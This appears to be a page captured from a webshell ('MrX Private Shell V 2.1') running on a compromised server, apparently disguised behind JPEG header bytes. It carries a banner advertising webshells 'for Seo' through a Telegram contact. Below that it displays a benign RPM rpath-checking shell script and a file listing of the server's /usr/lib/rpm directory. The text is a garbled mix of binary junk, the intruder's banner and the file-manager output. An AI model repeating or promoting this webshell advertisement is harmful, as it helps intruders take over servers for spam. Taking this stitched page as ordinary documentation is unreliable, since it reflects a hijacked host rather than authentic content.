����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/bash
# Copyright (C) 2004 Enrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
fail=
already_shown=0
# effect of this expression is obviously:
# * match paths beginning with:
# - $SOMETHING/<something>/..
# - /<something>/..
# * but not paths beginning with
# - $SOMETHING/..
# - $SOMETHING/../../../.....
BADNESS_EXPR_32='\(\(\$[^/]\+\)\?\(/.*\)\?/\(\([^.][^/]*\)\|\(\.[^./][^/]*\)\|\(\.\.[^/]\+\)\)\)/\.\.\(/.*\)\?$'
function showHint()
{
test "$already_shown" -eq 0 || return
already_shown=1
cat <<EOF >&2
*******************************************************************************
*
* WARNING: 'check-rpaths' detected a broken RPATH and will cause 'rpmbuild'
* to fail. To ignore these errors, you can set the '\$QA_RPATHS'
* environment variable which is a bitmask allowing the values
* below. The current value of QA_RPATHS is $(printf '0x%04x' $QA_RPATHS).
*
* 0x0001 ... standard RPATHs (e.g. /usr/lib); such RPATHs are a minor
* issue but are introducing redundant searchpaths without
* providing a benefit. They can also cause errors in multilib
* environments.
* 0x0002 ... invalid RPATHs; these are RPATHs which are neither absolute
* nor relative filenames and can therefore be a SECURITY risk
* 0x0004 ... insecure RPATHs; these are relative RPATHs which are a
* SECURITY risk
* 0x0008 ... the special '\$ORIGIN' RPATHs are appearing after other
* RPATHs; this is just a minor issue but usually unwanted
* 0x0010 ... the RPATH is empty; there is no reason for such RPATHs
* and they cause unneeded work while loading libraries
* 0x0020 ... an RPATH references '..' of an absolute path; this will break
* the functionality when the path before '..' is a symlink
*
*
* Examples:
* - to ignore standard and empty RPATHs, execute 'rpmbuild' like
* \$ QA_RPATHS=\$(( 0x0001|0x0010 )) rpmbuild my-package.src.rpm
* - to check existing files, set \$RPM_BUILD_ROOT and execute check-rpaths like
* \$ RPM_BUILD_ROOT=<top-dir> /usr/lib/rpm/check-rpaths
*
*******************************************************************************
EOF
}
function msg()
{
local val=$1
local cmp=$2
local msg=
local fail=
local code
test $[ $val & $cmp ] -ne 0 || return 0
code=$(printf '%04x' $cmp)
if test $[ $val & ~$QA_RPATHS ] -eq 0; then
msg="WARNING"
else
showHint
msg="ERROR "
fail=1
fi
shift 2
echo "$msg $code: $@" >&2
test -z "$fail"
}
: ${QA_RPATHS:=0}
old_IFS=$IFS
for i; do
pos=0
rpath=$(readelf -d "$i" 2>/dev/null | LANG=C grep '(RPATH).*:') || continue
rpath=$(echo "$rpath" | LANG=C sed -e 's!.*(RPATH).*: \[\(.*\)\]!\1!p;d')
tmp=aux:$rpath:/lib/aux || :
IFS=:
set -- $tmp
IFS=$old_IFS
shift
allow_ORIGIN=1
for j; do
new_allow_ORIGIN=0
if test -z "$j"; then
badness=16
elif expr match "$j" "$BADNESS_EXPR_32" >/dev/null; then
badness=32
else
case "$j" in
(/lib/*|/usr/lib/*|/usr/X11R6/lib/*|/usr/local/lib/*)
badness=0;;
(/lib64/*|/usr/lib64/*|/usr/X11R6/lib64/*|/usr/local/lib64/*)
badness=0;;
(\$ORIGIN|\$\{ORIGINX\}|\$ORIGIN/*|\$\{ORIGINX\}/*)
test $allow_ORIGIN -eq 0 && badness=8 || {
badness=0
new_allow_ORIGIN=1
}
;;
(/*\$PLATFORM*|/*\$\{PLATFORM\}*|/*\$LIB*|/*\$\{LIB\}*)
badness=0;;
(/lib|/usr/lib|/usr/X11R6/lib)
badness=1;;
(/lib64|/usr/lib64|/usr/X11R6/lib64)
badness=1;;
(.*)
badness=4;;
(*) badness=2;;
esac
fi
allow_ORIGIN=$new_allow_ORIGIN
base=${i##$RPM_BUILD_ROOT}
msg "$badness" 1 "file '$base' contains a standard rpath '$j' in [$rpath]" || fail=1
msg "$badness" 2 "file '$base' contains an invalid rpath '$j' in [$rpath]" || fail=1
msg "$badness" 4 "file '$base' contains an insecure rpath '$j' in [$rpath]" || fail=1
msg "$badness" 8 "file '$base' contains the \$ORIGIN rpath specifier at the wrong position in [$rpath]" || fail=1
msg "$badness" 16 "file '$base' contains an empty rpath in [$rpath]" || fail=1
msg "$badness" 32 "file '$base' contains an rpath referencing '..' of an absolute path [$rpath]" || fail=2
let ++pos
done
done
test -z "$fail"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| fileattrs | Folder | 0755 |
|
|
| lua | Folder | 0755 |
|
|
| macros.d | Folder | 0755 |
|
|
| platform | Folder | 0755 |
|
|
| redhat | Folder | 0755 |
|
|
| alt-nodejs14_native.req | File | 70 B | 0755 |
|
| alt-nodejs16_native.req | File | 40 B | 0755 |
|
| alt-nodejs18_native.req | File | 40 B | 0755 |
|
| alt-nodejs19_native.req | File | 43 B | 0755 |
|
| alt-nodejs20_native.req | File | 44 B | 0755 |
|
| alt-nodejs22_native.req | File | 44 B | 0755 |
|
| brp-boot-efi-times | File | 1.43 KB | 0755 |
|
| brp-compress | File | 1.66 KB | 0755 |
|
| brp-java-gcjcompile | File | 1.4 KB | 0755 |
|
| brp-python-bytecompile | File | 3.82 KB | 0755 |
|
| brp-python-hardlink | File | 640 B | 0755 |
|
| brp-scl-compress | File | 1.77 KB | 0755 |
|
| brp-scl-python-bytecompile | File | 3.04 KB | 0755 |
|
| brp-strip | File | 1.24 KB | 0755 |
|
| brp-strip-comment-note | File | 749 B | 0755 |
|
| brp-strip-shared | File | 714 B | 0755 |
|
| brp-strip-static-archive | File | 499 B | 0755 |
|
| check-buildroot | File | 1.26 KB | 0755 |
|
| check-files | File | 1.03 KB | 0755 |
|
| check-prereqs | File | 422 B | 0755 |
|
| check-rpaths | File | 1.02 KB | 0755 |
|
| check-rpaths-worker | File | 4.94 KB | 0755 |
|
| debugedit | File | 38 B | 0755 |
|
| elfdeps | File | 23.16 KB | 0755 |
|
| find-debuginfo.sh | File | 46 B | 0755 |
|
| find-lang.sh | File | 8.04 KB | 0755 |
|
| find-provides | File | 95 B | 0755 |
|
| find-requires | File | 95 B | 0755 |
|
| fontconfig.prov | File | 493 B | 0755 |
|
| gstreamer1.prov | File | 950 B | 0755 |
|
| libtooldeps.sh | File | 722 B | 0755 |
|
| macros | File | 43.75 KB | 0644 |
|
| mkinstalldirs | File | 3.46 KB | 0755 |
|
| nodejs_native.req | File | 74 B | 0755 |
|
| ocamldeps.sh | File | 6.69 KB | 0755 |
|
| perl.prov | File | 6.01 KB | 0755 |
|
| perl.req | File | 11.75 KB | 0755 |
|
| pkgconfigdeps.sh | File | 1.34 KB | 0755 |
|
| pythonbundles.py | File | 3.09 KB | 0755 |
|
| pythondistdeps.py | File | 26.64 KB | 0755 |
|
| rpm.daily | File | 296 B | 0644 |
|
| rpm.log | File | 61 B | 0644 |
|
| rpm.supp | File | 688 B | 0644 |
|
| rpm2cpio.sh | File | 1.56 KB | 0755 |
|
| rpmdb_dump | File | 41 B | 0755 |
|
| rpmdb_load | File | 41 B | 0755 |
|
| rpmdeps | File | 19.79 KB | 0755 |
|
| rpmpopt-4.16.1.3 | File | 11.83 KB | 0644 |
|
| rpmrc | File | 17.24 KB | 0644 |
|
| scldeps.sh | File | 258 B | 0755 |
|
| script.req | File | 326 B | 0755 |
|
| sepdebugcrcfix | File | 43 B | 0755 |
|
| sysusers.generate-pre.sh | File | 2.22 KB | 0755 |
|
| sysusers.prov | File | 605 B | 0755 |
|
| tgpg | File | 937 B | 0755 |
|